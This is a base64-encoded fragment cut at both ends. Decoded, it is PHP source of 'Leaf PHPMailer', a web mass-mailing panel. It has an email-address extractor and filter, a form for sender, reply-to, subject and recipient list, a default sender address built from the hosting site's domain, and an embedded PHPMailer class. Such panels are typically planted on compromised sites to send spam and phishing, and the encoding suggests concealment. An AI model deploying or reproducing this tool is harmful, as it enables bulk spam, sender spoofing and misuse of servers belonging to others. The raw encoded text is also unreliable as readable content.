WFpbExpc3QnXT1zdHJ0b2xvd2VyKCRfUE9TVFsnZW1haWxMaXN0J10pOwogICBpZigkX0dFVFsnZW1haWxmaWx0ZXInXT09ImlmcmFtIil7CiAgICAgICAgaWYgKCRfUE9TVFsncmVzdWx0dHlwZSddID09ICJkb3dubG9hZCIpewogICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtRGVzY3JpcHRpb246IEZpbGUgVHJhbnNmZXIiKTsgCiAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iKTsgCiAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9ZW1haWxzIi50aW1lKCkuIi50eHQiKTsKICAgICAgICB9CiAgICAgICAgZWxzZSB7CiAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1UeXBlOiB0ZXh0L3BsYWluIik7CiAgICAgICAgfQogICAgaWYoJF9QT1NUWydzdWJtaXQnXT09ImV4dHJhY3QiKXsKICAgICAgICAkcGF0dGVybiA9ICcvW0EtWmEtejAtOS5fJSstXStAW0EtWmEtejAtOS4tXStcLltBLVphLXpdezIsNH0vJzsKICAgICAgICBwcmVnX21hdGNoX2FsbCgkcGF0dGVybiwgJF9QT1NUWydlbWFpbExpc3QnXSwgJG1hdGNoZXMpOwogICAgICAgIGZvcmVhY2ggKCRtYXRjaGVzWzBdIGFzICRlbWFpbCkgewogICAgICAgICAgICBwcmludCAkZW1haWwuIlxuIjsKICAgICAgICB9CiAgICB9CiAgICBlbHNlaWYgKCRfUE9TVFsnc3VibWl0J109PSJmaWx0ZXIiKSB7CiAgICAgICAgJGVtYWlscz1leHBsb2RlKCJcbiIsICRfUE9TVFsnZW1haWxMaXN0J10pOwogICAgICAgICRrZXl3b3Jkcz1leHBsb2RlKCJcbiIsIHN0cnRvbG93ZXIoJF9QT1NUWydrZXl3b3JkcyddKSk7CiAgICAgICAgZm9yZWFjaCAoJGVtYWlscyBhcyAkZW1haWwpIHsKICAgICAgICAgICAgZm9yZWFjaCAoJGtleXdvcmRzIGFzICRrZXl3b3JkICkgewogICAgICAgICAgICAgICAgaWYoc3Ryc3RyKCRlbWFpbCwgJGtleXdvcmQpICl7CiAgICAgICAgICAgICAgICAgICAgcHJpbnQgJGVtYWlsLiJcbiI7CiAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICB9CiAgICBleGl0OwogICB9CiAgIGxlYWZoZWFkZXIoKTsKICAgcHJpbnQgJzxkaXYgY2xhc3M9ImNvbnRhaW5lciBjb2wtbGctNCI+PGgzPjxmb250IGNvbG9yPSJncmVlbiI+PHNwYW4gY2xhc3M9ImdseXBoaWNvbiBnbHlwaGljb24tbGVhZiI+PC9zcGFuPjwvZm9udD4gTGVhZiBQSFBNYWlsZXIgPHNtYWxsPkVtYWlsIEZpbHRlcjwvc21hbGw+PC9oMz4nOwogICBwcmludCAnCiAgICA8Zm9ybSBhY3Rpb249Ij9lbWFpbGZpbHRlcj1pZnJhbSIgbWV0aG9kPSJQT1NUIiB0YXJnZXQ9Im15LWlmcmFtZSIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgb25zdWJtaXQ9XCdcJz4KICAgICAgICA8bGFiZWwgZm9yPSJlbWFpbExpc3QiPlRleHQgPC9sYWJlbD48aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZVRvVXBsb2FkIiBpZD0iZmlsZVRvVXBsb2FkIj4gCiAgICAgICAgb3IKCiAgICAgICAgPHRleHRhcmVhIG5hbWU9ImVtYWlsTGlzdCIgaWQ9ImVtYWlsTGlzdCIgY2xhc3M9ImZvcm0tY29udHJvbCIgcm93cz0iNyIgaWQ9InRleHRBcmVhIj48L3RleHRhcmVhPgogICAgICA8ZGl2IGNsYXNzPSJjb2wtbGctMTIiPgogICAgICAgIDxkaXYgY2xhc3M9InJhZGlvIj4KICAgICAgICAgIDxsYWJlbD4KICAgICAgICAgICAgPGlucHV0IHR5cGU9InJhZGlvIiBuYW1lPSJyZXN1bHR0eXBlIiBpZD0icmVzdWx0dHlwZSIgdmFsdWU9ImhlcmUiIGNoZWNrZWQ9IiI+CiAgICAgICAgICAgIFNob3cgUmVzdWx0IGluIHRoaXMgcGFnZQogICAgICAgICAgPC9sYWJlbD4KICAgICAgICA8L2Rpdj4KICAgICAgICA8ZGl2IGNsYXNzPSJyYWRpbyI+CiAgICAgICAgICA8bGFiZWw+CiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJyYWRpbyIgbmFtZT0icmVzdWx0dHlwZSIgaWQ9InJlc3VsdHR5cGUiIHZhbHVlPSJkb3dubG9hZCI+CiAgICAgICAgICAgIERvd25sb2FkIFJlc3VsdCAoZm9yIGJpZyBudW1iZXJzKQogICAgICAgICAgPC9sYWJlbD4KICAgICAgICA8L2Rpdj4KICAgICAgPC9kaXY+CiAgICAgICAgICAgIDxsZWdlbmQ+PGg0PkV4dHJhY3QgRW1haWw8L2g0PjwvbGVnZW5kPgogICAgICAgICAgICBEZXRlY3RpbmcgZXZlcnkgZW1haWwgKDEwMCUpIGFuZCBvcmRlciB0aGVtIGxpbmUgYnkgbGluZSA8YnI+PGJyPgogICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJleHRyYWN0IiBjbGFzcz0iYnRuIGJ0bi1kZWZhdWx0IGJ0bi1zbSI+U3RhcnQ8L2J1dHRvbj4KICAgICAgICAgICAgPGxlZ2VuZD48aDQ+RmlsdGVyIEVtYWlsczwvaDQ+PC9sZWdlbmQ+CiAgICAgICAgPGxhYmVsID5LZXl3b3JkcyA8c21hbGw+IGV4OiBnbWFpbC5jb20gb3IgLmNvLnVrPC9zbWFsbD4gPC9sYWJlbD48dGV4dGFyZWEgbmFtZT0ia2V5d29yZHMiIGlkPSJrZXl3b3JkcyIgY2xhc3M9ImZvcm0tY29udHJvbCIgcm93cz0iNCIgaWQ9InRleHRBcmVhIj5nbWFpbC5jb20KaG90bWFpbC5jb20KeWFob28uY29tCi5jby51azwvdGV4dGFyZWE+PGJyPgoKICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9ImZpbHRlciIgY2xhc3M9ImJ0biBidG4tZGVmYXVsdCBidG4tc20iPlN0YXJ0PC9idXR0b24+CiAgICA8L2Zvcm0+CiAgICA8bGFiZWwgPlJlc3VsdCA8L2xhYmVsPgogICAgPGlmcmFtZSBzdHlsZT0iYm9yZGVyOm5vbmU7d2lkdGg6MTAwJTsiIG5hbWU9Im15LWlmcmFtZSIgIHNyYz0iP2VtYWlsZmlsdGVyPWlmcmFtIiA+PC9pZnJhbWU+CiAgICc7CiAgIGV4aXQ7Cgp9CiRodG1sPSJjaGVja2VkIjsKJHV0Zjg9InNlbGVjdGVkIjsKJGJpdDg9InNlbGVjdGVkIjsKCmlmKCRfUE9TVFsnYWN0aW9uJ109PSJzZW5kIiBvciAkX1BPU1RbJ2FjdGlvbiddPT0ic2NvcmUiKXsKCiAgICAkc2VuZGVyRW1haWw9bGVhZlRyaW0oJF9QT1NUWydzZW5kZXJFbWFpbCddKTsKICAgICRzZW5kZXJOYW1lPWxlYWZUcmltKCRfUE9TVFsnc2VuZGVyTmFtZSddKTsKICAgICRyZXBseVRvPWxlYWZUcmltKCRfUE9TVFsncmVwbHlUbyddKTsKICAgICRzdWJqZWN0PWxlYWZUcmltKCRfUE9TVFsnc3ViamVjdCddKTsKICAgICRlbWFpbExpc3Q9bGVhZlRyaW0oJF9QT1NUWydlbWFpbExpc3QnXSk7CiAgICAkbWVzc2FnZVR5cGU9bGVhZlRyaW0oJF9QT1NUWydtZXNzYWdlVHlwZSddKTsKICAgICRtZXNzYWdlTGV0dGVyPWxlYWZUcmltKCRfUE9TVFsnbWVzc2FnZUxldHRlciddKTsKICAgICRlbmNvZGluZyA9ICRfUE9TVFsnZW5jb2RlJ107CiAgICAkY2hhcnNldCA9ICRfUE9TVFsnY2hhcnNldCddOwogICAgJGh0bWw9IiI7CiAgICAkdXRmOD0iIjsKICAgICRiaXQ4PSIiOwoKICAgIGlmKCRtZXNzYWdlVHlwZT09MikgJHBsYWluPSJjaGVja2VkIjsKICAgIGVsc2UgJGh0bWw9ImNoZWNrZWQiOwoKICAgIGlmKCRjaGFyc2V0PT0iSVNPLTg4NTktMSIpICRpc289InNlbGVjdGVkIjsKICAgIGVsc2UgJHV0Zjg9InNlbGVjdGVkIjsKCiAgICBpZigkZW5jb2Rpbmc9PSI3Yml0IikgJGJpdDc9InNlbGVjdGVkIjsKICAgIGVsc2VpZigkZW5jb2Rpbmc9PSJiaW5hcnkiKSAkYmluYXJ5PSJzZWxlY3RlZCI7CiAgICBlbHNlaWYoJGVuY29kaW5nPT0iYmFzZTY0IikgJGJhc2U2ND0ic2VsZWN0ZWQiOwogICAgZWxzZWlmKCRlbmNvZGluZz09InF1b3RlZC1wcmludGFibGUiKSAkcXVvdGVkcHJpbnRhYmxlPSJzZWxlY3RlZCI7CiAgICBlbHNlICRiaXQ4PSJzZWxlY3RlZCI7CgoKCn0KaWYoJF9QT1NUWydhY3Rpb24nXT09InZpZXciKXsKCSR2aWV3TWVzc2FnZT1sZWFmVHJpbSgkX1BPU1RbJ21lc3NhZ2VMZXR0ZXInXSk7Cgkkdmlld01lc3NhZ2U9bGVhZkNsZWFyKCR2aWV3TWVzc2FnZSwidXNlckBkb21haW4uY29tIik7CglpZiAoJF9QT1NUWydtZXNzYWdlVHlwZSddPT0yKXsKCQlwcmludCAiPHByZT4iLmh0bWxzcGVjaWFsY2hhcnMoJHZpZXdNZXNzYWdlKS4iPC9wcmU+IjsKCX0KCWVsc2UgewoJCXByaW50ICR2aWV3TWVzc2FnZTsKCX0KCWV4aXQ7Cn0KCgoKaWYoIWlzc2V0KCRfUE9TVFsnc2VuZGVyRW1haWwnXSkpewogICAgJHNlbmRlckVtYWlsPSJzdXBwb3J0QCIuc3RyX3JlcGxhY2UoInd3dy4iLCAiIiwgJF9TRVJWRVJbJ0hUVFBfSE9TVCddKTsKICAgIGlmICghbGVhZk1haWxDaGVjaygkc2VuZGVyRW1haWwpKSAkc2VuZGVyRW1haWw9IiI7Cn0KCmNsYXNzIFBIUE1haWxlcgp7CiAgICAvKioKICAgICAqIFRoZSBQSFBNYWlsZXIgVmVyc2lvbiBudW1iZXIuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJFZlcnNpb24gPSAnNS4yLjI4JzsKCiAgICAvKioKICAgICAqIEVtYWlsIHByaW9yaXR5LgogICAgICogT3B0aW9uczogbnVsbCAoZGVmYXVsdCksIDEgPSBIaWdoLCAzID0gTm9ybWFsLCA1ID0gbG93LgogICAgICogV2hlbiBudWxsLCB0aGUgaGVhZGVyIGlzIG5vdCBzZXQgYXQgYWxsLgogICAgICogQHZhciBpbnRlZ2VyCiAgICAgKi8KICAgIHB1YmxpYyAkUHJpb3JpdHkgPSBudWxsOwoKICAgIC8qKgogICAgICogVGhlIGNoYXJhY3RlciBzZXQgb2YgdGhlIG1lc3NhZ2UuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJENoYXJTZXQgPSAnaXNvLTg4NTktMSc7CgogICAgLyoqCiAgICAgKiBUaGUgTUlNRSBDb250ZW50LXR5cGUgb2YgdGhlIG1lc3NhZ2UuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJENvbnRlbnRUeXBlID0gJ3RleHQvcGxhaW4nOwoKICAgIC8qKgogICAgICogVGhlIG1lc3NhZ2UgZW5jb2RpbmcuCiAgICAgKiBPcHRpb25zOiAiOGJpdCIsICI3Yml0IiwgImJpbmFyeSIsICJiYXNlNjQiLCBhbmQgInF1b3RlZC1wcmludGFibGUiLgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRFbmNvZGluZyA9ICc4Yml0JzsKCiAgICAvKioKICAgICAqIEhvbGRzIHRoZSBtb3N0IHJlY2VudCBtYWlsZXIgZXJyb3IgbWVzc2FnZS4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkRXJyb3JJbmZvID0gJyc7CgogICAgLyoqCiAgICAgKiBUaGUgRnJvbSBlbWFpbCBhZGRyZXNzIGZvciB0aGUgbWVzc2FnZS4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkRnJvbSA9ICdyb290QGxvY2FsaG9zdCc7CgogICAgLyoqCiAgICAgKiBUaGUgRnJvbSBuYW1lIG9mIHRoZSBtZXNzYWdlLgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRGcm9tTmFtZSA9ICdSb290IFVzZXInOwoKICAgIC8qKgogICAgICogVGhlIFNlbmRlciBlbWFpbCAoUmV0dXJuLVBhdGgpIG9mIHRoZSBtZXNzYWdlLgogICAgICogSWYgbm90IGVtcHR5LCB3aWxsIGJlIHNlbnQgdmlhIC1mIHRvIHNlbmRtYWlsIG9yIGFzICdNQUlMIEZST00nIGluIHNtdHAgbW9kZS4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkU2VuZGVyID0gJyc7CgogICAgLyoqCiAgICAgKiBUaGUgUmV0dXJuLVBhdGggb2YgdGhlIG1lc3NhZ2UuCiAgICAgKiBJZiBlbXB0eSwgaXQgd2lsbCBiZSBzZXQgdG8gZWl0aGVyIEZyb20gb3IgU2VuZGVyLgogICAgICogQHZhciBzdHJpbmcKICAgICAqIEBkZXByZWNhdGVkIEVtYWlsIHNlbmRlcnMgc2hvdWxkIG5ldmVyIHNldCBhIHJldHVybi1wYXRoIGhlYWRlcjsKICAgICAqIGl0J3MgdGhlIHJlY2VpdmVyJ3Mgam9iIChSRkM1MzIxIHNlY3Rpb24gNC40KSwgc28gdGhpcyBubyBsb25nZXIgZG9lcyBhbnl0aGluZy4KICAgICAqIEBsaW5rIGh0dHBzOi8vdG9vbHMuaWV0Zi5vcmcvaHRtbC9yZmM1MzIxI3NlY3Rpb24tNC40IFJGQzUzMjEgcmVmZXJlbmNlCiAgICAgKi8KICAgIHB1YmxpYyAkUmV0dXJuUGF0aCA9ICcnOwoKICAgIC8qKgogICAgICogVGhlIFN1YmplY3Qgb2YgdGhlIG1lc3NhZ2UuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJFN1YmplY3QgPSAnJzsKCiAgICAvKioKICAgICAqIEFuIEhUTUwgb3IgcGxhaW4gdGV4dCBtZXNzYWdlIGJvZHkuCiAgICAgKiBJZiBIVE1MIHRoZW4gY2FsbCBpc0hUTUwodHJ1ZSkuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJEJvZHkgPSAnJzsKCiAgICAvKioKICAgICAqIFRoZSBwbGFpbi10ZXh0IG1lc3NhZ2UgYm9keS4KICAgICAqIFRoaXMgYm9keSBjYW4gYmUgcmVhZCBieSBtYWlsIGNsaWVudHMgdGhhdCBkbyBub3QgaGF2ZSBIVE1MIGVtYWlsCiAgICAgKiBjYXBhYmlsaXR5IHN1Y2ggYXMgbXV0dCAmIEV1ZG9yYS4KICAgICAqIENsaWVudHMgdGhhdCBjYW4gcmVhZCBIVE1MIHdpbGwgdmlldyB0aGUgbm9ybWFsIEJvZHkuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJEFsdEJvZHkgPSAnJzsKCiAgICAvKioKICAgICAqIEFuIGlDYWwgbWVzc2FnZSBwYXJ0IGJvZHkuCiAgICAgKiBPbmx5IHN1cHBvcnRlZCBpbiBzaW1wbGUgYWx0IG9yIGFsdF9pbmxpbmUgbWVzc2FnZSB0eXBlcwogICAgICogVG8gZ2VuZXJhdGUgaUNhbCBldmVudHMsIHVzZSB0aGUgYnVuZGxlZCBleHRyYXMvRWFzeVBlYXN5SUNTLnBocCBjbGFzcyBvciBpQ2FsY3JlYXRvcgogICAgICogQGxpbmsgaHR0cDovL3NwcmFpbi5jaC9ibG9nL2Rvd25sb2Fkcy9waHAtY2xhc3MtZWFzeXBlYXN5aWNzLWNyZWF0ZS1pY2FsLWZpbGVzLXdpdGgtcGhwLwogICAgICogQGxpbmsgaHR0cDovL2tpZ2tvbnN1bHQuc2UvaUNhbGNyZWF0b3IvCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJEljYWwgPSAnJzsKCiAgICAvKioKICAgICAqIFRoZSBjb21wbGV0ZSBjb21waWxlZCBNSU1FIG1lc3NhZ2UgYm9keS4KICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwcm90ZWN0ZWQgJE1JTUVCb2R5ID0gJyc7CgogICAgLyoqCiAgICAgKiBUaGUgY29tcGxldGUgY29tcGlsZWQgTUlNRSBtZXNzYWdlIGhlYWRlcnMuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkICRNSU1FSGVhZGVyID0gJyc7CgogICAgLyoqCiAgICAgKiBFeHRyYSBoZWFkZXJzIHRoYXQgY3JlYXRlSGVhZGVyKCkgZG9lc24ndCBmb2xkIGluLgogICAgICogQHZhciBzdHJpbmcKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKi8KICAgIHByb3RlY3RlZCAkbWFpbEhlYWRlciA9ICcnOwoKICAgIC8qKgogICAgICogV29yZC13cmFwIHRoZSBtZXNzYWdlIGJvZHkgdG8gdGhpcyBudW1iZXIgb2YgY2hhcnMuCiAgICAgKiBTZXQgdG8gMCB0byBub3Qgd3JhcC4gQSB1c2VmdWwgdmFsdWUgaGVyZSBpcyA3OCwgZm9yIFJGQzI4MjIgc2VjdGlvbiAyLjEuMSBjb21wbGlhbmNlLgogICAgICogQHZhciBpbnRlZ2VyCiAgICAgKi8KICAgIHB1YmxpYyAkV29yZFdyYXAgPSAwOwoKICAgIC8qKgogICAgICogV2hpY2ggbWV0aG9kIHRvIHVzZSB0byBzZW5kIG1haWwuCiAgICAgKiBPcHRpb25zOiAibWFpbCIsICJzZW5kbWFpbCIsIG9yICJzbXRwIi4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkTWFpbGVyID0gJ21haWwnOwoKICAgIC8qKgogICAgICogVGhlIHBhdGggdG8gdGhlIHNlbmRtYWlsIHByb2dyYW0uCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJFNlbmRtYWlsID0gJy91c3Ivc2Jpbi9zZW5kbWFpbCc7CgogICAgLyoqCiAgICAgKiBXaGV0aGVyIG1haWwoKSB1c2VzIGEgZnVsbHkgc2VuZG1haWwtY29tcGF0aWJsZSBNVEEuCiAgICAgKiBPbmUgd2hpY2ggc3VwcG9ydHMgc2VuZG1haWwncyAiLW9pIC1mIiBvcHRpb25zLgogICAgICogQHZhciBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyAkVXNlU2VuZG1haWxPcHRpb25zID0gdHJ1ZTsKCiAgICAvKioKICAgICAqIFBhdGggdG8gUEhQTWFpbGVyIHBsdWdpbnMuCiAgICAgKiBVc2VmdWwgaWYgdGhlIFNNVFAgY2xhc3MgaXMgbm90IGluIHRoZSBQSFAgaW5jbHVkZSBwYXRoLgogICAgICogQHZhciBzdHJpbmcKICAgICAqIEBkZXByZWNhdGVkIFNob3VsZCBub3QgYmUgbmVlZGVkIG5vdyB0aGVyZSBpcyBhbiBhdXRvbG9hZGVyLgogICAgICovCiAgICBwdWJsaWMgJFBsdWdpbkRpciA9ICcnOwoKICAgIC8qKgogICAgICogVGhlIGVtYWlsIGFkZHJlc3MgdGhhdCBhIHJlYWRpbmcgY29uZmlybWF0aW9uIHNob3VsZCBiZSBzZW50IHRvLCBhbHNvIGtub3duIGFzIHJlYWQgcmVjZWlwdC4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkQ29uZmlybVJlYWRpbmdUbyA9ICcnOwoKICAgIC8qKgogICAgICogVGhlIGhvc3RuYW1lIHRvIHVzZSBpbiB0aGUgTWVzc2FnZS1JRCBoZWFkZXIgYW5kIGFzIGRlZmF1bHQgSEVMTyBzdHJpbmcuCiAgICAgKiBJZiBlbXB0eSwgUEhQTWFpbGVyIGF0dGVtcHRzIHRvIGZpbmQgb25lIHdpdGgsIGluIG9yZGVyLAogICAgICogJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10sIGdldGhvc3RuYW1lKCksIHBocF91bmFtZSgnbicpLCBvciB0aGUgdmFsdWUKICAgICAqICdsb2NhbGhvc3QubG9jYWxkb21haW4nLgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRIb3N0bmFtZSA9ICcnOwoKICAgIC8qKgogICAgICogQW4gSUQgdG8gYmUgdXNlZCBpbiB0aGUgTWVzc2FnZS1JRCBoZWFkZXIuCiAgICAgKiBJZiBlbXB0eSwgYSB1bmlxdWUgaWQgd2lsbCBiZSBnZW5lcmF0ZWQuCiAgICAgKiBZb3UgY2FuIHNldCB5b3VyIG93biwgYnV0IGl0IG11c3QgYmUgaW4gdGhlIGZvcm1hdCAiPGlkQGRvbWFpbj4iLAogICAgICogYXMgZGVmaW5lZCBpbiBSRkM1MzIyIHNlY3Rpb24gMy42LjQgb3IgaXQgd2lsbCBiZSBpZ25vcmVkLgogICAgICogQHNlZSBodHRwczovL3Rvb2xzLmlldGYub3JnL2h0bWwvcmZjNTMyMiNzZWN0aW9uLTMuNi40CiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJE1lc3NhZ2VJRCA9ICcnOwoKICAgIC8qKgogICAgICogVGhlIG1lc3NhZ2UgRGF0ZSB0byBiZSB1c2VkIGluIHRoZSBEYXRlIGhlYWRlci4KICAgICAqIElmIGVtcHR5LCB0aGUgY3VycmVudCBkYXRlIHdpbGwgYmUgYWRkZWQuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJE1lc3NhZ2VEYXRlID0gJyc7CgogICAgLyoqCiAgICAgKiBTTVRQIGhvc3RzLgogICAgICogRWl0aGVyIGEgc2luZ2xlIGhvc3RuYW1lIG9yIG11bHRpcGxlIHNlbWljb2xvbi1kZWxpbWl0ZWQgaG9zdG5hbWVzLgogICAgICogWW91IGNhbiBhbHNvIHNwZWNpZnkgYSBkaWZmZXJlbnQgcG9ydAogICAgICogZm9yIGVhY2ggaG9zdCBieSB1c2luZyB0aGlzIGZvcm1hdDogW2hvc3RuYW1lOnBvcnRdCiAgICAgKiAoZS5nLiAic210cDEuZXhhbXBsZS5jb206MjU7c210cDIuZXhhbXBsZS5jb20iKS4KICAgICAqIFlvdSBjYW4gYWxzbyBzcGVjaWZ5IGVuY3J5cHRpb24gdHlwZSwgZm9yIGV4YW1wbGU6CiAgICAgKiAoZS5nLiAidGxzOi8vc210cDEuZXhhbXBsZS5jb206NTg3O3NzbDovL3NtdHAyLmV4YW1wbGUuY29tOjQ2NSIpLgogICAgICogSG9zdHMgd2lsbCBiZSB0cmllZCBpbiBvcmRlci4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkSG9zdCA9ICdsb2NhbGhvc3QnOwoKICAgIC8qKgogICAgICogVGhlIGRlZmF1bHQgU01UUCBzZXJ2ZXIgcG9ydC4KICAgICAqIEB2YXIgaW50ZWdlcgogICAgICogQFRPRE8gV2h5IGlzIHRoaXMgbmVlZGVkIHdoZW4gdGhlIFNNVFAgY2xhc3MgdGFrZXMgY2FyZSBvZiBpdD8KICAgICAqLwogICAgcHVibGljICRQb3J0ID0gMjU7CgogICAgLyoqCiAgICAgKiBUaGUgU01UUCBIRUxPIG9mIHRoZSBtZXNzYWdlLgogICAgICogRGVmYXVsdCBpcyAkSG9zdG5hbWUuIElmICRIb3N0bmFtZSBpcyBlbXB0eSwgUEhQTWFpbGVyIGF0dGVtcHRzIHRvIGZpbmQKICAgICAqIG9uZSB3aXRoIHRoZSBzYW1lIG1ldGhvZCBkZXNjcmliZWQgYWJvdmUgZm9yICRIb3N0bmFtZS4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKiBAc2VlIFBIUE1haWxlcjo6JEhvc3RuYW1lCiAgICAgKi8KICAgIHB1YmxpYyAkSGVsbyA9ICcnOwoKICAgIC8qKgogICAgICogV2hhdCBraW5kIG9mIGVuY3J5cHRpb24gdG8gdXNlIG9uIHRoZSBTTVRQIGNvbm5lY3Rpb24uCiAgICAgKiBPcHRpb25zOiAnJywgJ3NzbCcgb3IgJ3RscycKICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkU01UUFNlY3VyZSA9ICcnOwoKICAgIC8qKgogICAgICogV2hldGhlciB0byBlbmFibGUgVExTIGVuY3J5cHRpb24gYXV0b21hdGljYWxseSBpZiBhIHNlcnZlciBzdXBwb3J0cyBpdCwKICAgICAqIGV2ZW4gaWYgYFNNVFBTZWN1cmVgIGlzIG5vdCBzZXQgdG8gJ3RscycuCiAgICAgKiBCZSBhd2FyZSB0aGF0IGluIFBIUCA+PSA1LjYgdGhpcyByZXF1aXJlcyB0aGF0IHRoZSBzZXJ2ZXIncyBjZXJ0aWZpY2F0ZXMgYXJlIHZhbGlkLgogICAgICogQHZhciBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyAkU01UUEF1dG9UTFMgPSB0cnVlOwoKICAgIC8qKgogICAgICogV2hldGhlciB0byB1c2UgU01UUCBhdXRoZW50aWNhdGlvbi4KICAgICAqIFVzZXMgdGhlIFVzZXJuYW1lIGFuZCBQYXNzd29yZCBwcm9wZXJ0aWVzLgogICAgICogQHZhciBib29sZWFuCiAgICAgKiBAc2VlIFBIUE1haWxlcjo6JFVzZXJuYW1lCiAgICAgKiBAc2VlIFBIUE1haWxlcjo6JFBhc3N3b3JkCiAgICAgKi8KICAgIHB1YmxpYyAkU01UUEF1dGggPSBmYWxzZTsKCiAgICAvKioKICAgICAqIE9wdGlvbnMgYXJyYXkgcGFzc2VkIHRvIHN0cmVhbV9jb250ZXh0X2NyZWF0ZSB3aGVuIGNvbm5lY3RpbmcgdmlhIFNNVFAuCiAgICAgKiBAdmFyIGFycmF5CiAgICAgKi8KICAgIHB1YmxpYyAkU01UUE9wdGlvbnMgPSBhcnJheSgpOwoKICAgIC8qKgogICAgICogU01UUCB1c2VybmFtZS4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkVXNlcm5hbWUgPSAnJzsKCiAgICAvKioKICAgICAqIFNNVFAgcGFzc3dvcmQuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJFBhc3N3b3JkID0gJyc7CgogICAgLyoqCiAgICAgKiBTTVRQIGF1dGggdHlwZS4KICAgICAqIE9wdGlvbnMgYXJlIENSQU0tTUQ1LCBMT0dJTiwgUExBSU4sIE5UTE0sIFhPQVVUSDIsIGF0dGVtcHRlZCBpbiB0aGF0IG9yZGVyIGlmIG5vdCBzcGVjaWZpZWQKICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkQXV0aFR5cGUgPSAnJzsKCiAgICAvKioKICAgICAqIFNNVFAgcmVhbG0uCiAgICAgKiBVc2VkIGZvciBOVExNIGF1dGgKICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkUmVhbG0gPSAnJzsKCiAgICAvKioKICAgICAqIFNNVFAgd29ya3N0YXRpb24uCiAgICAgKiBVc2VkIGZvciBOVExNIGF1dGgKICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkV29ya3N0YXRpb24gPSAnJzsKCiAgICAvKioKICAgICAqIFRoZSBTTVRQIHNlcnZlciB0aW1lb3V0IGluIHNlY29uZHMuCiAgICAgKiBEZWZhdWx0IG9mIDUgbWludXRlcyAoMzAwc2VjKSBpcyBmcm9tIFJGQzI4MjEgc2VjdGlvbiA0LjUuMy4yCiAgICAgKiBAdmFyIGludGVnZXIKICAgICAqLwogICAgcHVibGljICRUaW1lb3V0ID0gMzAwOwoKICAgIC8qKgogICAgICogU01UUCBjbGFzcyBkZWJ1ZyBvdXRwdXQgbW9kZS4KICAgICAqIERlYnVnIG91dHB1dCBsZXZlbC4KICAgICAqIE9wdGlvbnM6CiAgICAgKiAqIGAwYCBObyBvdXRwdXQKICAgICAqICogYDFgIENvbW1hbmRzCiAgICAgKiAqIGAyYCBEYXRhIGFuZCBjb21tYW5kcwogICAgICogKiBgM2AgQXMgMiBwbHVzIGNvbm5lY3Rpb24gc3RhdHVzCiAgICAgKiAqIGA0YCBMb3ctbGV2ZWwgZGF0YSBvdXRwdXQKICAgICAqIEB2YXIgaW50ZWdlcgogICAgICogQHNlZSBTTVRQOjokZG9fZGVidWcKICAgICAqLwogICAgcHVibGljICRTTVRQRGVidWcgPSAwOwoKICAgIC8qKgogICAgICogSG93IHRvIGhhbmRsZSBkZWJ1ZyBvdXRwdXQuCiAgICAgKiBPcHRpb25zOgogICAgICogKiBgZWNob2AgT3V0cHV0IHBs